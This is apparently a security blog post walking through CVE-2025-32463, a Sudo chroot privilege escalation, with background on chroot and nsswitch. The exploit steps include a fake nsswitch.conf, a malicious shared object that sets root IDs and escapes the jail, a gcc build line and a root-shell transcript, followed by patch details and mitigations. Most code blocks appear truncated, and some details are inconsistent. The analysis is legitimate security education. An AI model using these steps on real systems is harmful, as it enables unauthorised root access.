Breaking Out with chroot: CVE-2025-32463 (chwoot) in Sudo
__OERVIEW
In this post, we dive into CVE-2025-32463, a recently disclosed vulnerability in Sudo’s -R
(--chroot
) option that allows local privilege escalation by abusing chroot
in combination with how nsswitch
resolves system resources. Discovered by Rich Mirch, this flaw makes It possible for an attacker to trick sudo into loading an arbitrary shared library by creating an /etc/nsswitch.conf
file under the user-specified root directory.
Introduction to chroot
The chroot
Option (short for change root) is a linux sudo command that changes the apparent root directory (/
) for the current running process and its children.
The chroot(2) system call and chroot(8) commands within are used to limit the files and directories a process can access on a given file system. This is done by changing the root directory of the process to a given path, restricting its view to files under the path. It essentially puts the process in a “jail”
by default any user can specify a chroot directory, to confirm this we can this command
1 | $ sudo -l |
A value of “*” in the runchroot= sudoers configuration indicates that our lowpriv user may specify the root directory by running sudo with the -R option. An example configuration using this option is shown below.
1 | lowpriv@prod:~$ sudo -l |
Creating a jail environment
To function properly within a chroot jail, the target directory must contain all required binaries and libraries needed by chroot such as a shell inside a bin folder (/bin/bash
) and essential shared libraries (like libc
, libm
, etc.). Without these, the environment may fail to start or function correctly.
Below is an example Sudo rule. The lowpriv account is allowed to execute /bin/bash
under /web
. In this example rule, the user does not pass the chroot directory using the command-line options. Instead, Sudo will chroot
to /web
prior to executing /bin/bash
. Meaning /web
becomes bash’s root directory.
1 | sudo chroot=/web /bin/bash |
When the command is executed via Sudo, the root path will be set to /web
, so /web/bin/bash
must exist along with any linked libraries. The example below of lsof
command output shows the lowpriv user running /bin/bash
under /web
via rtd
: (short for root dir).
1 | $ sudo chroot /web /bin/bash |
The rtd
entry in lsof
confirms that the root directory (/
, from the perspective of the process) has been changed using chroot
, and is now pointing to /web
.
Additionally, commands like ls
or cd
won’t work because their binaries were not copied to the chroot environment: /web
, so they simply don’t exist in that directory.
The nsswitch configuration file
nsswitch.conf
(short for Name Service Switch) is a configuration file in linux located at /etc/nsswitch.conf
. nsswitch tells the system how to resolve names and look up various types of information such as usernames, hostnames, groups, passwords, and more.
Inside the config file
The following nsswitch.conf
entries define where the system should look when resolving various types of information:
1 | passwd: files systemd |
Each line has the format:
1 | <database>: <source1> [<source2> ...] |
For example:
hosts: files dns
→ When resolving hostnames (e.g., forping google.com
), check:/etc/hosts
(files
)- DNS servers (
dns
)
a little detail here
1 | passwd: files ldap |
files
mean that the system will first look for passwd
in the /etc
directory. The ldap
after refers to the ldap source which translates to the shared library: libnss_ldap.so
. That’s how NSS dynamically loads the appropriate library based on the source name.
A library is a collection of precompiled code that can be reused by programs. There are two main types:
Static libraries (
.a
files)- Linked into the program at compile time
- Code becomes part of the final binary
- No external dependency at runtime
Shared libraries (
.so
files — shared objects)- Linked at runtime, not baked into the binary
- Multiple programs can share a single copy in memory
CVE-2025-32463 (chwoot)
Sudo chroot Elevation of Privilege Walkthrough
CVE-2025-32463 was introduced in Sudo v1.9.14
(June 2023) with the update to the command matching handling code when the chroot feature is used.
from update notes:
Improved command matching when a chroot is specified in sudoers. The sudoers plugin will now change the root directory id needed before performing command matching. Previously, the root directory was simply prepared to the path that was being processed.
The issue arises from allowing an unprivileged user to invoke chroot() on a writable, untrusted path under their control. Sudo calls chroot() several times, regardless of whether the user has corresponding Sudo rule configured.
Allowing a low-privileged user the ability to call chroot() with root authority to a writable location can have various security risks.
nsswitch abuse
One interesting note that may not be immediately apparent when reading the nsswitch.conf file is that the name of the source is also used as part of the path for a shared object (library). For example
1 | passwd: files ldap |
the above ldap source translates to libnss_ldap.so
. When an NSS function uses the ldap source, the library is loaded.
Because of this behavior, any local user can trick Sudo into loading an arbitrary shared object, via our own nsswitch
that we put inside the chroot directory as /web/etc/nsswitch.conf
, resulting in arbitrary code execution as root.
To exploit this issue, the following /etc/nsswitch.conf file was placed inside of the chrooted environment. The /vipa0z NSS “source” is translated to libnss/vipa0z.so.2, which is a shared object under a path we control.
1 | passwd: /vipa0z |
The folllowing stack trace shows the malicious shared object that has been loaded by Sudo.
1 | #0 0x0000763a155db181 in woot () from libnss_/vipa0z.so.2 |
The exploit
with all the ABC out of the way, now for the fun part:
let’s start by grapping this PoC, written by pr0v3rbst and begin to dissect it
This exploit utilizes a shared library object (.so
) to create a bash process running as the root user
1 | cat > vipa0z.c<<EOF |
We begin by defining a constructor function in C, a special function marked to execute before main()
runs. Inside this constructor, the process’s effective user ID and group ID (euid
and egid
) are both set to 0
, giving the process root-level privileges.
Next, the code calls chroot("/")
, effectively breaking out of the chroot jail by resetting the root directory back to the actual system root (/
). This bypasses the restricted environment (e.g., /web
) and restores full access to the real filesystem.
nsswitch
we then Create a fake nsswitch.conf
inside the woot
directory and inject the following line:
1 | mkdir -p woot/etc libnss_ |
This instructs the system to treat /vipa0z
as the NSS source when resolving user account information (like /etc/passwd
). When the system sees this entry, it will attempt to load a shared object named libnss_vipa0z.so
.
1 | cp /etc/group /web/etc |
Copy /etc/group
into the jail so group lookups don’t fail when the process runs in chroot.
- Compile the shared object (
vipa0z.c
) into a.so
file and move it to a/libnss_
directory (the lib folder)
1 | gcc -shared -fPIC -Wl,-init,web -o libnss_/vipa0z.so.2 vipa0z.c |
Executing on Ubuntu 24.04.2 LTS server with Sudo v1.9.15p5
, using an unprivileged user with no Sudo rules defined, results in a root shell outside of the chrooted environment.
1 | lowpriv@prod:~/CVE-2025-32463$ id |
the sudo Patch?
The patch essentially reverts to the changes implemented in Sudo 1.9.14
. The pivot_root() and unpivot_root() functions were removed, and chroot() is no longer called during the command matching phase.
With the patch applied, the exploit fails because chroot() is no longer called.
1 | lowpriv@prod:~/CVE-2025-32463$ ./sudo-chwoot.sh |
Mitigations
- Install the latest sudo packages for your system. No workaround exists for this issue.
- The chroot option is now deprecated as of 1.9.17p1. It is recommended to avoid using the chroot options, as this could unintentionally make your environment less secure if not implemented properly.
- Search your environment for any use of the chroot option. Review all Sudo rules defined in /etc/sudoers, and files under /etc/sudoers.d. If the Sudo rules are stored in LDAP, use tools such as ldapsearch to dump the rules.
- Look for the use of the runchroot= option or CHROOT=
- You can search for sudo entries in the syslog. Any commands using chroot will be logged with the CHROOT=
References
stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot
nvd.nist.gov/CVE-2025-32462
www.sudo.ws/advisories/chroot_bug/
https://www.youtube.com/watch?=low-level-code/sudo-chwoot